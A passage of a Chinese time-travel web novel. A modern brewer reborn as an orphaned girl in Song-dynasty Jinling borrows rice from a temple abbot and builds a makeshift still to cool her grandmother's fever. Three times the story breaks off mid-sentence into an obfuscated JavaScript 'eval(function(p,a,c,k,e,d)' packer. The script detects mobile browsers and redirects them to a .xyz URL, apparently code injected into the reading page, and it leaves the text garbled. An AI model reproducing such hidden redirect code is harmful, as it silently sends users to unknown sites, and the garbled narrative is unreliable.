《北宋小酒坊致富手札》 1. 绍圣元年 绍圣元年，雪。 金陵的冬天虽不比北地酷寒，但赶上连绵的雪天，柴米价贵，也是能冻死人的。 铅灰色的云层沉沉压着寒山顶上那座年久失修的古庙，飞檐上的鸱吻都叫积雪盖得没了形状，朔风还不依不饶地卷着雪沫子从豁牙的殿门里钻进来。 雪沫打湿了殿内冰冷的砖地，两个裹着旧僧袍的小沙弥缩在柱子后头，对着偏殿指指点点。 “瞧真了？就是檐下接雪的那个。” “小声些！她就是前阵子家里走水，烧没了爹娘的那个？” 一个踮了踮脚，抻着脖子看，另一个使劲缩着肩膀，把冻得通红的手拢在磨破了边的袖筒里。 两人压低的窃窃私语，却一字不落地飘进少女耳中。 “可不是！听说白事都没办利索，族里分的烧埋银子拢共不过两贯，还没到手就被她亲伯父桑大官人给撵到咱这儿来了。” 顺着他们的目光望向偏殿深处，角落里胡乱铺着几束枯草和破烂的被褥。 桑家祖母就无声无息地蜷在那里，几乎与破败的墙壁融为一体。 老人无声无息，烧得脸颊通红。只有胸口微微的起伏，证明着她还在和沉疴斗争。 而殿外那道破旧的檐廊下，立着个瘦小的身影。 桑梓。 她踩在泥泞不堪的石阶残雪上，身上一件葛布袄子，补丁叠着补丁，单薄的孝服从旧袄的领口支棱出来，挂在少女瘦削的肩膀上。 刺骨的寒意从脚底直往上蹿，脚趾早已冻得没有知觉，只凭本能抠着冰冷的石阶边缘。 旧袄肩头缝补的线脚歪歪扭扭，孝服的衣领磨着她纤细的脖颈。 昨夜刚落的新雪覆盖着青瓦，在晨光下泛着冷冽的光，冰凌子挂在檐角，滴滴答答化着水。 少女深吸了一口冰冷的空气，将冻得通红的手放在嘴边哈着热气，白气刚从嘴边呼出，便被寒风卷走。 然后踮起脚尖，努力伸长胳膊，小心翼翼地将手里的粗陶碗接在那片正慢慢融化积雪的檐角下方。 一滴。 又一滴。 清澈透明的雪水，顺着冰凉的瓦片汇聚，再如珍珠般滚落，无声地坠入碗底，漾开细小的涟漪。 毕竟是天上的无根水，纯净得如同这漫天雪色本身，映着天光没有一丝杂质。 小沙弥的窃窃私语还在继续。 “克死爹娘，连累着祖母也只剩一口气…可真是个丧门星！住持师父也是心善，才容她们暂且栖身。” “寺里清净地，留这等晦气人，早晚得回了师父请她们出去…免得冲撞了佛祖香火…” “阿弥陀佛。” 那两个小僧儿越说越投入，不意住持却不知何时，已悄然站在柱子的另一侧。 他走路没有声音，清瘦的身躯罩着一件洗得发白的袈裟，手里挂着一串磨得发亮的念珠。 他看着那两个惊得立刻噤声、面色发白的小沙弥，目光在他们脸上停驻片刻，眼神平静中带着悲悯。 “背后妄议他人苦厄，非出家人所为，且去洒扫诵经罢，在此徒造口业，于修行无益。” 两个小沙弥面如土色，诺诺连声，慌忙行礼，低着头匆匆从殿角溜走了。 住持看着他们消失的背影，又转向殿门的方向，目光望向那个瘦小的背影，发出一声几不可闻的轻叹。 他心知肚明。 冬日寺中舍粥的名额早已满额，这祖孙二人，只怕难熬到官榷酒巡之前了。 他没再说话，只是缓缓捻动手中那串念珠，伫立片刻，转身迈着沉重的步子，消失在殿后昏暗的通道里。 脚步声渐渐远去，殿内仿佛比之前更冷了，寒风穿过破败的格栅，发出呜咽的回响。 嗒—— 又一滴水珠落入碗中，水面轻轻晃动，倒映出一张冻得发青却眉眼执拗的小脸。 桑梓的鞋子破破烂烂，脚尖早已冻得麻木，小腿肚在打颤，整个人在寒风中晃动着，像一盏随时会熄灭的烛火。 那些话，她一字不落地听清了。 丧门星，克父克母…… 少女闭了闭眼，心想这大概便是这身子原主熬不下去的缘由罢。 不错，如今正是北宋哲宗绍圣年间，可她却不是此间中人。 虽不是此间中人，但对北宋末年的历史却也是耳熟能详，哲宗英年早逝，身后并无子嗣，帝位便轻车熟路地传给了其弟端王赵佶。 这端王便是日后那位徽宗皇帝，而这宋徽宗，那就基本是无人不知了。 花石纲，靖康耻，这位新君书画精绝，花鸟入神，却是个能把江山社稷也玩来玩去的主儿。 ……但那都是以后的事了，若不能先熬过眼前这个冬天，什么天下兴亡，都与她一点关系没有。 破碗里接的小半盏无根水根本救不了草铺上的老太太，更填不饱自己这火烧火燎的肚肠。 活下去，让老祖母退了这要命的烧，才是现在头一桩最重要的事！ 碗中雪水已接了八分满，少女小心翼翼地放下手臂，冻得青紫的手指几乎握不住粗糙的碗沿。 然后一步步挪回偏殿深处。 角落里，桑家祖母依旧蜷缩着，身体裹在破旧泛灰的褥子里，呼吸微弱而滚烫。 桑梓跪坐在冰冷的草垫上，草杆硌着膝盖，她用破袄的袖子垫着碗，凑到老人干裂出血的唇边。 昏迷中的祖母似乎感应到水源的湿润，无意识地微微张口。 清凉的雪水浸润了焦渴的唇舌，她一边耐心地喂着，一边飞快地梳理着原主混乱的记忆。 桑家，原本是这附近镇子上酿酒的殷实人家，凭着祖传的扑买额，每年向州衙纳六十贯的买名钱，再交三分利的净课，换得自酿自销的权柄。 父亲桑大贵，年轻时在润州水师当过刀牌手，因伤退役后便安心回乡建起了酒坊。 也许是因为经历过边关的苦寒和生死离别，更懂家园可贵，独女一出生就得名桑梓。 母亲温婉持家，灶房总飘着饭菜香和淡淡的醪糟味，祖母跟着他们过，平日也帮着做些力所能及的活计。 一家人的日子如窖中老酒，平静醇厚，变故则始于几天前那场突如其来的大火。 那夜火起得诡异，是一同睡的母亲把原主推出窗外，而父亲扛着高温要去救母亲……最后也没出来。 祖母被原主拖出火海时，老人也已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488995|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被浓烟呛晕，就剩下半条命。 大火起因，衙门含糊其辞地定为“天干物燥，灶火未熄”，便草草结案。 但打这之后一切都变了。 她这个伯父桑大富，一向是个游手好闲的闲汉，在原主的记忆里经常要上家门赖着要钱的主儿！ 没个正经营生，更是把分家分得的财产挥霍的七七八八，专一在街面上帮闲凑趣，吃几碗不要钱的蹭食酒，是镇上有名的桑大闲人。 要不是有桑大贵这个能干的弟弟，早不知道上哪喝西北风去了！ 可就是这样一个人，此番动作却快得惊人，弟妹尸骨未寒便俨然以家主自居，不仅抢先占了酒坊，将里头的东西尽数划归己有。 更对闻讯赶来的乡邻拍着胸脯，口口声声“长兄如父，舍弟身后事暨酒坊事务，自有我一肩承担”。 摇身一变成了富贵之人，嘴脸与往日蹭吃骗喝时的惫懒模样判若两人！ 至于弟弟留下的女儿和半死不活的老娘？ “晦气！莫要冲撞了咱家即将重整的营生。” 眼皮也未抬一下，便决定将这对祖孙如同清扫秽物般丢出来。 原主逢此大难自是又惊又怕，却也只会跪在地上哀哀哭泣，苦苦哀求伯父开恩。 末了，反倒更坚定了桑大富将她们扫地出门的决心。 但穿越过来的桑梓可就不一般了。 她也是酿酒师的女儿，但更是千年后摘得国际桂冠的酿酒师。 夺去的那些家当？不过是些死物罢了。 这世间真正的佳酿靠的从来不是那几间仓房几石粮食，而是点化五谷、驯服曲蘖的独门手艺。 也是刻进她骨子里的本事！ 所以，优势在我！ 别看桑大闲人摇身一变成了桑大官人，可他哪里懂什么酿酒？ 只怕连酒曲是方是圆都未必说得清呢。 桑梓暗忖，这人怕是连那几瓮存着的半成品酒醅都要被他胡乱折腾，贱价沽清。 这桑家老烧坊传下的口碑和窖藏老底，怕是经不起他这闲汉几下挥霍。 而且老主顾们第一个就不会答应！ 譬如那张屠夫，是桑家酒坊几十年的老主顾，每日收刀后必要打上满满一角“桑家老烧”，图的就是个醇厚凛冽杀口解乏。 而且他性子最是火爆耿直，往日里若酒水差了些许火候，他都敢瞪着铜铃大眼与桑大贵理论半晌。 若让桑大富拿些酸薄寡淡的次货糊弄他，只怕那油渍渍的屠刀当场就得剁在桑大富跟前！ 还有那郑童生，这可是个知味的风雅人，若换了桑大富那不懂装懂的嘴脸前去应酬，郑童生怕是宁可戒酒，也受不了这份腌臜气。 总而言之，他桑大富一个连酒疯子都算不上的门外汉，若真由着他胡乱折腾，不出几日，桑家酿了二十年的招牌，就要先被他给彻底砸了！ 到那时，就算桑梓能有办法夺回酒坊，面对的也是一个烂透了的坊子和散尽的人心。 所以她必须得快！ 理清这利害的当口，少女决心已定。 于是手上便将那碗还剩些的雪水捧得更紧了些，也更殷切地送到了老人唇边上。 2. 谋财和谋命 “咳咳咳……” 祖母浑浊的老眼睁开了一条缝，茫然望着殿顶破败的椽子，喉咙里嗬嗬作响，像是被什么堵住了气管。 “祖母，喝水。” 桑梓再次将碗凑近。 老人艰难地小口小口吞咽着雪水，眼皮费力地撑开一点，浑浊的目光渐渐聚焦在少女的脸上。 眼神里浸着深重的悲凉，底下却洇着一点难以言喻的愧意。 枯槁的手颤巍巍地抬起，想再摸摸小孙女的脸颊，但在空中滞了一滞，到底没抬起来，又软软地垂了下去。 桑梓知道老太太心里既觉得对不起她，又怕自己这病歪歪的身子成了孙女的累赘。 但她从没觉得，虽说占了人家的身子非她本意，但既来之则安之，该担起的责任也推脱不得。 “祖母，我们在庙里，不会有什么事。” 但这话出口，连她自己都不信。 小沙弥的鄙夷和驱赶迟早会变成现实，祖母高热不退，需要的是正经汤药，不是这聊胜于无的雪水。 可她们浑身上下摸不出半文钱，连抓一剂最便宜的柴胡汤都凑不齐数。 要想活下去，她需要钱，需要药，需要一个可以暂时遮风避雨，不被人驱赶的地方。 更要有…能让她们重新站起来的本钱！ 老人喝完水，又沉沉睡去。 她忍不住又伸手探了探祖母的额头，烫手的温度让人指尖一缩，心头猛地一沉。 不行，烧得太厉害了。 年过半百之人，怎么禁得起这么烧下去！ 她需要烈酒，她需要用烈酒降温。 这个念头纯粹得像呼吸，自然地从她心底冒出来。 紧接着，少女就下意识地扫过偏殿每个角落—— 没有，一丝酒气也无。 这清寒古庙，怎会有酒？供桌上的净瓶里怕是只有清水。 既然没有，那就得自己酿。 土法蒸馏桑梓比谁都熟，一个合格酿者的本事，从来就不在精工巧器，而在变通。 粮、水、器具和一点时机，就能点石成金！ “祖母，马上就有药了。” 话音未落，人已经站起。 她动作干脆，返身一把拽出佛龛下那个沉甸甸的铜香炉盖，在手里掂量一下，又拎起墙角豁口的陶盆检查过内壁。 既然计较已定，动作便也毫不拖沓，抬脚就往殿外去。 她得去打点儿秋风才是。 出门正逮了一个唯恐避之不及的小沙弥，少女张口就问。 “小师父，动问一声，住持师父的斋房在何处？” 那小僧儿被她唬得一缩脖子，翻着白眼朝西廊下一努嘴。 “尽头那间亮着灯的便是，只是师叔祖正用功，休怪小僧没提醒你，触了霉头须怨不得人！” 桑梓叉手道了声谢，整了整鬓边散乱的发丝，便朝着西廊那头灯火摇曳处去。 小沙弥虽然怵她丧门星的名声，但见这小娘子实在狼狈，本还想着若她讨好一声便再点拨一二师叔祖的脾气性格。 却见她毫不领情，反倒像块捂不热的石头，心道这般不识好歹，合该去碰一鼻子灰，便也收了那点怜悯，自顾扭身去了。 桑梓不理他，是因为自己心下清明得很。 这北宋寺庙，但凡供得起大佛的，哪个僧房后头不存着几斗米粮？ 原主幼时便听祖母说过，瓦官寺有前朝敕赐的田庄，栖霞寺藏着舍利宝函，更别说那同泰寺、鸡鸣寺，哪个没有受过帝王布施？ 便是这小小禅院，既敢在金陵地界收留女眷，僧袍底下必然有几分斤两。 北宋佛法鼎盛，寺庙享有蠲免，僧人们开质库、放贷帛，连官中用度有时都需向寺里挪借。 是以此番前去与其说是借，实是与这释家门庭做一笔买卖。 一边这样想着，脚便已经走到了那间灯火通明的斋房门口。 不用推开门就能听到门中传来的诵经声，伴着一声声清磬，在静夜里显得格外庄严。 “照见五蕴皆空，度一切苦厄……” 度一切苦厄？ 少女无声地笑笑，抬手屈指叩响了门扉。 于是门内的诵经声戛然而止，片刻后吱呀一声从内拉开，一位眉目疏朗的中年僧人出现在门口。 僧袍的袖口已经洗得发白，但针脚依然细密整齐，一如他此刻庄重而不失温和的神情。 他手中还握着一卷未及放下的经书，目光沉静地落在来人身上，待看清眼前这位衣衫单薄却背脊挺直的少女，眼中掠过一丝讶异。 廊下灯火将她苍白的神色照得清楚，可那双眸子却极亮，不见乞怜，只余下一片熬得滚烫的执拗，直直地迎向他的打量。 “女施主此来…？” “主持师父，桑梓想与您谈桩生意。” 她虽耳闻那诵经声，心中对于这位持戒的僧人生出两分敬重，却也明白，能撑起这金陵城外一座禅院的，纵是持戒修行，也少不得要理会米粮俗务，算盘珠子底下过活。 于是盯着主持的眼睛，唇角忽然浮起一丝极淡的笑意，眼尾轻轻一挑。 那神情便像换了个人似的，方才的执拗化作了三分市井的活络，倒像是常年在市集上与人谈价还价的模样。 “我想和师父借些粮米，不拘多少，能借多少是多少。” 住持闻言，只是微微挑眉，目光沉静地看着她，仍不言语，等着她的下文。 “十日后必当翻倍奉还，”少女迎着他的目光，补上最关键的一句，“按那日金陵城中粮价折算铜钱，保证足陌。” 铜钱。 主持闻之，终于有些意动。 他执掌这金陵城外一座禅院，日日与香火钱帛打交道，最是清楚如今市面上铜贵钞贱的艰难。 如今官府铸钱不及，海贸又使铜钱不断外流，如今市面上一贯钱能有七八百文已属难得。 这桑小娘子开口便以足陌铜钱结算，倒是比那些虚高的钞引实在得多。 “女施主，进来说话罢。” 他终于叹息一声，侧身让开通路，待桑梓踏入斋房，他便合上门扉，直截问道。 “十日翻倍非同儿戏，小娘子凭何有此把握？” “好教师父知晓，小女子家中世代当行，正是酿酒。即便是最次的浊酿，在这金陵地界一升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488996|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能卖上三十文，又何愁换不来铜钱？” 桑梓迎着他的目光唇角一扬，可谁知住持一听酿酒二字，脸色骤然一沉，紧接着就是连连摆手，手里的经书就差扬到少女脸上了。 “非是老衲为难女施主，我释家弟子首重戒律，便是沙弥亦须守十戒，比丘更有二百五十具足戒，其中不沾酒气为根本大戒啊！” 他刚准备开门谢客，面前的小娘子却眉头一挑，径直反问道—— “师父，敢问佛法第一义，是守着那二百五十戒条，还是渡眼前这必死之人？” 她盯着老衲愕然的眉目，声音清冷，脊背挺得笔直，眸中清光潋滟，一时间反客为主，竟透着一股以法叩问的凛然。 “《华严经》有云：不为自身求快乐，但欲救护诸众生。戒律是舟筏，渡人才是彼岸。若见垂死而不救，师父这满腹经纶，与塞港的沉石何异！” 桑梓想起前世汶川地震的罗汉寺，素全法师连破女色、血气、荤腥三个大戒，这才得以让108个罗汉娃娃在寺中降生。 佛门见死不救，才应该是最大的忌讳！ “窃以为持戒若不能救人，便成了最重的我执，您着相了！” 住持握着经书的手一颤，额角竟渗出细汗，他修行三十载，从未被一个市井女孩用佛理逼到如此境地。 “阿弥陀佛…女施主一番机锋，老衲受教了。” 他长诵一声佛号，目光望向窗外那片沉沉的夜色，终于放下手里的经卷，回身取过壁龛边一袋约莫五升的糙米，递到少女面前。 “既为救人，就不必双倍奉还了，十日后原数归还便是。” “十日之后，桑梓必当奉还，恩义两清。” 她行了一个叉手礼，又毫不客气地讨了老主持屋中一只蒸花露用的锡曲颈瓶，便将米袋紧紧抱在胸前，头也不回地进了浓重的夜色。 深一脚浅一脚地往偏殿赶去，只有怀里紧抱的米袋和曲颈瓶在走动间发出轻微的碰撞声。 老太太可还等着救命呢。 待回了偏殿，少女把怀里的东西直接在地上一溜儿摊开，又拣了香炉盖和陶盆放在跟前，心里盘算着蒸馏酒的主意。 酒精在北宋年间确实已经作为药物载体广泛使用了，敦煌医方中，酒被频繁用作“行药势”的媒介，药师们用酒来促进血液循环，引导药效。 而且沈括的《梦溪笔谈》中，也提到了有工匠利用酒精热胀冷缩的性质测量温度，说明也有手艺人观察到了酒精对温度变化的敏感性。 但若论物理降温，人们广泛的还是用温凉水浇身的方法。 倘若不是老祖母年纪大了，而且也不好管庙里要那等大剂量的水，桑梓也不会绕这么大一个弯，在这儿想蒸馏酒的法子。 其实她并不是异想天开。 毕竟所谓蒸馏，无非是利用热力将酒液中的乙醇先行汽化，再遇冷凝结成液滴收集起来。 所需器具无非一蒸一冷凝，庙中虽陋，香炉盖可作蒸锅，曲颈瓶正好导流，凑合起来便能顶事！ 更何况，她自有秘方快速成酒呢。 想到这里，桑梓便果断地挽起袖子，先把那一袋米倒在陶盆里择起来。 3. 蒸馏酒 庙外风声呜咽，卷着残雪扑打在破败的窗子上，发出簌簌的轻响。 偏殿内，佛龛下那点微弱的油灯火苗被门缝里钻进的冷风吹得摇曳不定，在少女专注的侧脸上投下晃动的光影。 桑梓蹲在陶盆前，正就着那点昏光，手指飞快地在米粒间拨弄，拣出里头夹带的砂石稗壳。 她拣得极仔细，指尖在米粒间反复拨拉，生怕漏过半点杂质，时有寒风吹得灯火明灭，桑梓便停下手，眯眼等那光稳了再继续。 就这样拣，眼睛都酸了才拣完最后一把，少女直起腰捶捶发酸的背，只觉腰背僵硬，好一阵才缓过劲来，把拣净的米拢到盆中央。 好在眼下所求并非甘醇美酒，而是足以用作蒸馏的酒醪，倒也省下漫长的发酵工夫。 她知道一种急法酿醴，取熟饭保温一宿，次日便能得些微带酒意的浆液，虽淡薄不堪饮，但用于蒸馏提纯酒精却足够了。 这庙中既有米，只需燃上一堆火，一夜之间便能得到粗糙的酒母。 法子是糙些，却正合此间简陋，况且虽然出不来太多酒醪，单论蒸馏出些许酒精为老人降温，也是够用了。 米粒择净，她又顶着风出去一趟，用那只豁口的陶盆舀来干净的雪，就着香炉里尚未完全熄灭的温热化开，反复淘洗两遍，便算洁净。 冬天淘米可是件苦差事，雪水冰得指节发红，桑梓也只得缩缩脖子，呵出口白气暖手，手下动作却不停。 这北宋年间的米粮虽未经精碾，杂质却也不多，可见这住持给的不是什么陈年劣米，倒是存了几分实在。 接下来便是最要紧的一步——蒸饭。 在禅堂里煮饭这种事儿，真的可以被指摘一句“对佛门不敬”，但眼下也唯有事急从权四字可解。 放杂物的偏殿自然是没有灶台的，但桑梓目光扫过那沉重的香炉盖，心下已有计较。 于是将洗净的米粒倒入盖中，加入适量雪水，刚好没过米面。然后站起身来，去殿角拾掇来些白日里小沙弥清扫后堆放的残枝断桠。 她挑拣柴枝很是仔细，专选那干燥耐烧的，最后寻了处通风的角落，从墙根下刮下些硝土助燃，这才引燃一小堆篝火。 火焰噼啪作响，桑梓将盛米的香炉盖架在火上，再覆上一块从衣襟下摆撕下来的干净布，充作一时的布苫。 也顾不得什么仪轨了，救人才是第一位的！ 烫手便撤些柴火，火弱又赶紧添枝，但不得不说，条件虽然简陋，但饭煮出来却是香喷喷的。 桑梓轻轻揭开看了看，但见一粒粒米饭饱满晶莹，蒸汽顺着她的手指氤氲而上，朴素的粮食香气直往人鼻子里钻，竟让人生出一种不合时宜的满足感。 少女忍不住拈起一粒尝了，虽说淡而无味，却软硬适中，正是酿酒的好状态，嘴角便不自觉弯了弯。 急法酿醴，温度是关键。 过热则烫死酒曲，过凉则发酵迟缓。 她于是熄了明火，只留余炭保温，让米饭在盖中静静焖透。 然后趁着这个间隙，桑梓解开发带，一头牢牢系在墙上伸出的凸起上，另一头则绑住曲颈瓶的细颈，将其悬于陶盆之上。 见身上再撕就要露肉了，便一咬牙又拆了她自己那条铺在地上的破褥子，浸完雪水密密缠裹在曲颈上，再撕一块铺在陶盆里，一套简陋却功能齐全的冷凝装置便这样草草成型。 接下来将饭粒在香炉盖中摊平，又伸手探了探墙角温度，半天才找到一个避风暖和的地方。 继续用布苫盖严实，然后就这样静待一宿，等得了粗制的酒母，才能倒入曲颈瓶继续加热。 等到那时候，醇烈的蒸汽遇上浸湿雪水的褥子布，酒液就能顺着曲颈落到下面的陶盆里，蒸馏酒也就成了。 桑梓回头看看那边被子里还撑着的老太太，起身走到榻前，伸手探探老人额头。 触手仍是一片热，呼吸也是又急又浅，拉风箱一样，心头便是一紧。 没有药，不过吊着命罢了。 只希望能撑过这一宿！ 她继续给老人更换敷在额头的布巾，换上几次便眼皮渐渐沉下来，不知道自己是什么时候睡去又是如何醒来。 只恍惚听到几声断续的更漏，再睁眼时，窗边已透进些朦胧的青色，那堆篝火早已熄透，剩下一摊白灰。 桑梓一个激灵便翻身起来，第一时间先试了试老人的呼吸。 还好。 虽然时轻时重，但至少还在呼吸。 不枉她费尽唇舌求得米粮，还强撑着一夜没敢睡死，冻得手脚冰凉！ 少女几乎要喜极而泣，忙用冰凉的手背胡乱抹了把脸，深吸一口气，强自定下心神，便继续探身去看那香炉盖子。 只闻到那一味熟悉的酒醩气息，微酸带甜的，便已经心中有数。 于是就准备再点上一堆新火，但桑梓刚站起来伸个懒腰，殿门外便响起一阵犹犹豫豫的敲门声。 有意思，她还有客人？ 桑梓走到门口，踮脚往门缝外张望，却见个小沙弥缩着脖子站在阶下，手里捧着个托盘，盘里还放着东西。 她便落下脚，猛地敞了门，有点促狭地看着面前还没自己高的小沙弥。 那孩子身子缩着，先是被突然打开的门吓了一跳，然后视线便是一垂，不敢与她对上，一双小手却把托盘捧得死紧。 桑梓先看见盘子里放着的几碟素菜并一碗薄粥，那粥水清澈得几乎能照见人影，却也让她肚子咕咕叫起来。 啊，好像真的好久没吃饭了。 如今胃里抽得发疼，这身子上次吃饭好像还是她没来之前呢。 “师叔祖叫我送斋饭来。” 那小沙弥细声细气地把话说完，竟也不敢沾她的手，将托盘往门槛上一搁，转身便跑，三两下就消失在拐角。 桑梓：“……” 本来还想再要点柴禾呢，怎么就把人吓成这样。 也许是她低估了所谓丧门星的力量，但事已至此，先吃饭吧！ 少女把那托盘小心端进殿内，就着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488997|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗外微光看了看清可见底的粥碗。 眼前这托盘里粥、菜、箸各自分开，虽是清寡，倒合着时节礼数。 北宋餐食不同后世围桌共膳，哪怕是寻常人家，也仍是遵循着“凡饮食，必品各专器”的古制，多用分餐。 寺中斋饭更重规制，便是这清粥小菜，也是按照“食馔五事”的礼数摆了盘—— 粥碗居中，三碟素菜分置三角，竹箸和汤匙整整齐齐地摆在粥碗跟前。 桑梓先把老祖母唤起来，端起那粥碗，用木匙小心搅动两下，试了试温度，这才凑到老人唇边。 老人却微微偏开头，一只手攥着孙女儿的细手腕子，虚弱的声音里带着几分急切。 “这米是何处来的？莫不是…你应了庙里什么人…” “是庙里主持大师心善，特地赠的饭食。” 桑梓哪能让老太太知道自己和主持签的对赌协议，之后再跟着担惊受怕的，赶紧撒了个善意的谎言。 这话倒也没说错。 不过她料想主持之所以赠饭，一半是因为昨日那一点之恩，一半是怕她万一熬不过去，禅院连本钱都收不回来。 总归是半真半假的仁善，她早就不指望什么人间真情了。 老太太安了心，饭也吃的香甜。 桑梓便端了那小菜到陶盆边上，也不用竹箸，直接俯身凑近陶盆，一头青丝垂落盆沿，低头叨了一口。 手里也不闲着，探手便去揭那香炉盖上的布苫，一股酒气登时扑面而起。 成了！ 老人从碗里抬起头，便见孙女笑的见牙不见眼的，她也难得散了几分愁苦，眼角细细的皱纹也舒展开来。 “哪里来的酒气？可是你又在捣鼓什么险要的法子？” 她自是知道这丫头的，打小就跟着她爹走街串巷卖酒曲药散，耳濡目染也学了些酿酒的手艺。 只是老祖母也从未听说，有什么法子能一夜生酒啊？ “阿婆莫慌，这是咱们江宁老辈传下的土方，一夜出酒头，灵得很！” “这样啊…” 老太太也是知酒的人物，如何想不到这法子该有多金贵，倘若她幺儿还在…… 想到这里便觉心上一空，又瞅着独自忙碌的孙女儿，眼里又淌起眼泪水来。 她自是知道自家孙女昨日是怎样照顾她的，这么好的孩子，如何就没了爹和娘呢？ 这一哭，难得下去些的温度又烧了起来，额头手心都滚烫，倒比先前更厉害了。 桑梓赶紧扶着老太太接着躺下，然后把火重新升起来，试着温度把曲颈瓶的高度调到合适。 然后把酒醪干脆利索地注入曲颈瓶里，指尖一边感受着温度变化，心里默算着蒸馏的时机。 不多时便见瓶口腾起袅袅白雾，继而凝成清亮的酒珠，攒成一滴便坠入陶盆，在殿内敲出清越的声响。 她心中一喜，忙将曲颈角度调低，更是等不及让那酒自个儿往陶盆里落，一双手捧起那块垫在盆里的布巾，小心翼翼地迎了上去。 4. 苏家 酒精不愧是退烧界的王者。 桑梓用两块细布轮换着接取酒液，接满一块儿便在祖母额上手上揩拭一番，连脖颈也没放过。 护理病人是有诀窍的，讲究个手法顺序，需得顺着经络走向，由内而外，力道不轻不重，方能助腠理开泄，引邪热外透。 偏巧这些知识她倒也是略懂。 要知道这年头酿酒可不能只懂酿酒，不懂些中医的话，酿出的酒如何能让人口舌生津，通经活络呢？ 待擦得老祖母浑身泛起细汗，她这才歇了手，直起腰来轻舒一口气。 此时窗纸已透进青白色的晨光，偏殿内寒意未散，却比夜间多了几分亮堂。 她俯身去看那陶盆，收集到的酒液确实不多，但索性这陶盆的口径也小，经过半天的滴沥，竟也能聚上薄薄一指深的酒液。 映着微熹的晨光，晃动着琥珀似的光泽。 桑梓有心低头去尝一尝，可刚凑近便闻到自己呼出的一口酸气。 这会儿尝酒准没个好味儿，倒是该寻些青盐擦牙。若能冲碗淡盐水给祖母润喉，那就更好了！ 宋人刷牙自有其法，医书早有记载，青盐研末擦牙可固齿清热，市井间更有货郎担头专卖的柳枝青盐，富贵人家则用金银打就的擦牙器。 不过就现在这一穷二白的境况而言，干净的柳条如果不能从枝头摘得，那就只能另寻他法。 幸而寺中古松枝干上积着陈年松针，揉碎后亦可洁齿，只是这盐，少不得要拉下脸面去化缘了。 见老祖母依旧睡得沉，她便迈步出偏殿，轻轻掩上门，转身只见山间裹素，檐角积雪映着初阳。 晨钟声传来，大殿的方向更是传来隐隐的诵经佛音。 这是和尚们梳洗完毕，开始上早课了。 桑梓没来由地松了口气，心里却也一空。 横竖她本就不愿向这些和尚低头，如今倒省了这份为难，可盐该往何处寻呢？ 不管了，且去摘些松针再说！ 少女遂循着檐下结冰的石阶小心前行，终在东墙角寻见一丛墨绿针叶。 她踮脚伸手，专拣那些未被积雪浸透、还带着松脂清香的老叶摘取。 松针洁牙，这法子知道的人就不多了。 但其实《太平圣惠方》便载有松针盐汤漱口方，谓其能“祛风杀虫，固齿乌须”。 只是这《太平圣惠方》足足一百卷，寻常人家哪里得见？ 便是州府的医博士也未必能阅全本，多靠着手抄残卷流传，真正能通晓其中妙用的，怕是比会酿酒的沙弥还少哩。 少女这边正认真摘着松针，脚下忽被什么绊了个趔趄，低头竟见个衣着体面的老丈陷在雪窝里—— 青锦袍被冰碴子勾住了后摆，身后更背着个沉甸甸的箱笼，压得他整个人仰倒在雪坑里。 老人一个劲儿挣动着想起身，却教那箱笼带得一再滑回原处。 桑梓：“……” 罢了，既然撞见，总不能视而不见。 她把摘好的松针收进衣襟，弯腰朝那老丈伸出手去。 “老丈且先卸了这箱笼，我扶您起来。” “小娘子好意心领了，莫要带累你也…” 但话刚说出口，却见这小娘子已利落地解开绳扣，顺势借力一带—— 老丈人只觉得身子一轻，后半句话还卡在喉头，人已经落在雪地上了。 苏管家踉跄一步站定，一时语塞，只暗道这小姑娘好大的手劲！ 他忙将箱笼置于雪地，后退半步，双手抬至胸前，郑重地拱了拱手。 桑梓也叉手回了个礼，然后就见面前这老人拍去衣袍上的雪沫，复又开口。 “小娘子摘松针，可是为了洁牙？” 一边说着，一边解开箱笼上的皮扣，从里头取出个青布锦囊，倒出小半把晶莹的青盐粒。 这倒省了她再去向和尚们低头的麻烦，只是萍水相逢便得人赠盐，心下不免生出几分警惕，暗自盘算着这份人情该如何还上。 桑梓望着老人掌心那捧细碎的青盐，面上虽然微微一怔，但到底还是郑重道了声谢。 “多谢老丈赠盐，老丈如何知道我摘松针是为了洁牙的？” 难道这是个大夫？ 若真是大夫，她倒可请了这老丈去给祖母看看身子，那可比一杯淡盐水来的顶事。 苏管家一边将青盐倒在桑梓掌心，一边温声答道。 “老奴听我家公子讲过，松针清热燥湿，合青盐擦齿最是相宜。方才见小娘子采针的手法，便想起公子平日说的这番话。” “原来老丈家中公子通晓医理。” 桑梓闻言只是轻轻点头，将青盐仔细包进松针里收好。 她目光扫过对方箱笼里露出的几卷书边角，心下已有了几分猜测，却也不再深问，只谢过赠盐之谊。 